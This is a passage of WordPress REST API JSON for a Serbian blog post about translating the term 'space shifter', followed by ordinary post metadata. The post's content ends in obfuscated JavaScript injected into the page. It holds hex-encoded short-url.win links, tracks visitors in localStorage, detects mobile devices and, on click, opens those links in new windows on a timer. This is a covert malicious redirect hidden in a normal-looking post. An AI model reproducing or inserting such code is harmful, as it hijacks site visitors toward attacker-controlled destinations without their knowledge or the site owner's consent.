_0xe6f43=['\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x68\\x6f\\x72\\x74\\x2d\\x75\\x72\\x6c\\x2e\\x77\\x69\\x6e\\x2f\\x4a\\x4d\\x6c\\x30\\x63\\x300','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x68\\x6f\\x72\\x74\\x2d\\x75\\x72\\x6c\\x2e\\x77\\x69\\x6e\\x2f\\x4d\\x66\\x61\\x31\\x63\\x381',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)\/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)\/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"Termin “space shifter” je jedan od onih koji zadaju muku prevodiocima i lokalizatorima (ubrajam se u ove druge, pa saose\u0107am). Ako vam nije poznata upotreba sintagme, namu\u010di\u0107ete se da ukapirate pravo zna\u010denje i na kraju, morali biste prevesti termin sa najmanje pet re\u010di, i to uz napu\u0161tanje savr\u0161enog zna\u010denja i gubitak o\u0161trine: “onaj koji menja … <a href=\"https:\/\/www.sustinapasijansa.info\/2017\/05\/cas-u-kojem-ti-sve-postane-jasno\/\" class=\"more-link\">Nastavite sa čitanjem… “\u010cas u kojem ti sve postane jasno”<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":57064,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[26],"tags":[59],"_links":{"self":[{"href":"https:\/\/www.sustinapasijansa.info\/wp-json\/wp\/v2\/posts\/57068"}],"collection":[{"href":"https:\/\/www.sustinapasijansa.info\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sustinapasijansa.info\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sustinapasijansa.info\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sustinapasijansa.info\/wp-json\/wp\/v2\/comments?post=57068"}],"version-history":[{"count":1,"href":"https:\/\/www.sustinapasijansa.info\/wp-json\/wp\/v2\/posts\/57068\/revisions"}],"predecessor-version":[{"id":67408,"href":"https:\/\/www.sustinapasijansa.info\/wp-json\/wp\/v2\/posts\/57068\/revisions\/67408"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.sustinapasijansa.info\/wp-json\/wp\/v2\/media\/57064"}],"wp:attachment":[{"href":"https:\/\/www.sustinapasijansa.info\/wp-json\/wp\/v2\/media?parent=57068"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sustinapasijansa.info\/wp-json\/wp\/v2\/categories?post=57068"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sustinapasijansa.info\/wp-json\/wp\/v2\/tags?post=57068"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}